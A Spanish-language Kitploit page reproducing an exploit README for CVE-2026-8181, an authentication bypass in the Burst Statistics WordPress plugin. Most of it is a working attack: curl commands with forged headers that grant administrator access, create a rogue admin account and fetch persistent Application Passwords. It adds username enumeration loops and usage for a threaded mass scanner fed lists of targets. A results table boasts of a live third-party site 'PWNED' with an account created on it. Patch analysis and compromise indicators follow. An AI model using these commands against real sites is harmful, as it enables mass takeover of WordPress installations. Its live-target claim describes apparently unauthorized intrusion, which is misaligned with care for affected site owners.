Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Omisión de autenticación no autenticada para tomar control de cuenta de administrador | Prueba de Concepto | Kitploit
Herramientas/GitHubGitHub/zycoder0day/cve-2026-8181
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAutenticaciónAprendizaje y Educación
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Omisión de autenticación no autenticada para tomar control de cuenta de administrador | Prueba de Concepto

Ver Repositorio
57hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-8181 — Burst Statistics Authentication Bypass to Admin Account Takeover


📋 Información de Vulnerabilidad

ItemDetail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Versión Afectada3.4.0 – 3.4.1.1
Versión Parcheada3.4.2
CVSS Score9.8 (Critical)
TipoCWE-287: Improper Authentication
Vector de AtaqueNetwork / Remote / Unauthenticated
Instalaciones Activas~200,000+
DescubridorPRISM, Wordfence Threat Intelligence
Fecha de Publicación8 de mayo de 2026

🎯 Resumen

La vulnerabilidad crítica Authentication Bypass en el plugin de WordPress Burst Statistics versiones 3.4.0 a 3.4.1.1 permite a un atacante sin autenticación obtener acceso completo de administrador de WordPress solo con conocer el nombre de usuario admin. La consecuencia es la toma de control total de la cuenta de administrador, incluyendo la creación de nuevas cuentas, modificación de contenido e instalación de plugins maliciosos.


🔬 Análisis Técnico

Causa Raíz

La vulnerabilidad se encuentra en el método is_mainwp_authenticated() del archivo includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Bug principal: wp_authenticate_application_password(null, $username, $password) devuelve null (no WP_Error) cuando Application Passwords no está disponible, lo que ocurre en:

  • Sitios HTTP (no HTTPS) donde wp_is_application_passwords_available() devuelve false
  • Sitios donde is_ssl() devuelve false

Como is_wp_error(null) = false, el código continúa a get_user_by('login', $username) que autentica solo basado en el nombre de usuario sin validación de contraseña alguna.

Ejecución Temprana

El método has_admin_access() se llama en el hook plugins_loaded (prioridad 9) en class-burst.php línea 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Este hook se ejecuta ANTES del procesamiento de rutas de la API REST, por lo que wp_set_current_user() otorga permisos de administrador para TODA la solicitud — no solo para el endpoint de Burst.

Flujo de Ataque

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 Proof of Concept

Prerrequisitos

  • El objetivo ejecuta HTTP (no HTTPS, o SSL no detectado correctamente)
  • Plugin Burst Statistics versión 3.4.0 – 3.4.1.1 instalado y activo
  • Conocer el nombre de usuario admin (se puede enumerar)

Instalación

root@kitploit:~
pip3 install requests

Uso — Objetivo Único

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Uso — Múltiples Objetivos (Escáner Masivo)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Modo interactivo:

  1. Ingrese archivo de lista de objetivos (.txt, un dominio por línea)
  2. Establecer número de hilos (predeterminado: 50)
  3. Establecer credenciales de nueva cuenta
  4. Ejecutar escaneo

Formato targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC Mínimo (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Enumeración del Nombre de Usuario Admin

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validación de Resultados

Las pruebas se realizaron en WordPress 6.9 con Burst Statistics 3.4.1.1 (localhost):

Validación de Objetivo en Vivo

ObjetivoResultado
ausdermitte-binz.deEXITOSO PWNED — Burst 3.4.1.1, bypass vía binzwpadmin, cuenta xenon1337 creada (ID:30)

🔧 Análisis del Parche (v3.4.2)

Las correcciones en la versión 3.4.2 abordan varios problemas:

  1. Verificación correcta del tipo de retorno:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. Forzar disponibilidad de Application Passwords:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. Requisito de nonce CSRF para solicitudes autenticadas por cookie
  2. Protección contra repetición de nonce con aplicación de un solo uso mediante add_option()
  3. Formato de firma heredado eliminado que no vinculaba el nombre de usuario

🛡️ Remedación

Pasos Inmediatos

  1. Actualizar Burst Statistics a la versión 3.4.2 o posterior
  2. Auditar cuentas de usuario — verificar cuentas de administrador desconocidas
  3. Revocar todas las Application Passwords (wp_application_passwords meta de usuario)
  4. Revisar el correo del admin de WordPress y otras configuraciones
  5. Verificar plugins/temas desconocidos

Detección de Indicadores de Compromiso

  • Buscar en el registro de acceso solicitudes con el header X-BURSTMAINWP: 1 desde IP externa
  • Monitorear la tabla wp_users en busca de nuevas cuentas de administrador
  • Verificar wp_options por transient burst_mainwp_app_token_*
  • Revisar Application Passwords en el perfil de usuario

📁 Archivos Disponibles

ArchivoDescripción
exploit_CVE-2026-8181.pyPoC exploit para objetivo único
poc_CVE-2026-8181.pyEscáner masivo multi-objetivo con threading
README.mdEsta documentación

⚠️ Aviso Legal

Esta herramienta y documentación son solo para pruebas de seguridad legítimas con permiso explícito. El uso no autorizado de sistemas que no sean de su propiedad o sin permiso por escrito es ilegal. El autor no se hace responsable por el mal uso.


📚 Referencias

  • Wordfence Advisory
  • Source Code Vulnerable
  • WordPress Plugin Repository
  • WP-Safety Analysis

Descargar herramienta
PruebaResultadoEvidencia
Acceso a /wp/v2/users/me sin autenticaciónFALLIDOrest_not_logged_in
Acceso con headers de bypassEXITOSOPerfil de admin + correo + roles
Crear nueva cuenta de administradorEXITOSOID de usuario 2, rol: administrator
Leer configuración de WordPressEXITOSOTítulo del sitio, correo del admin, URL
Obtener Application PasswordEXITOSOToken Base64 admin:password
Listar plugins instaladosEXITOSOLista completa con versiones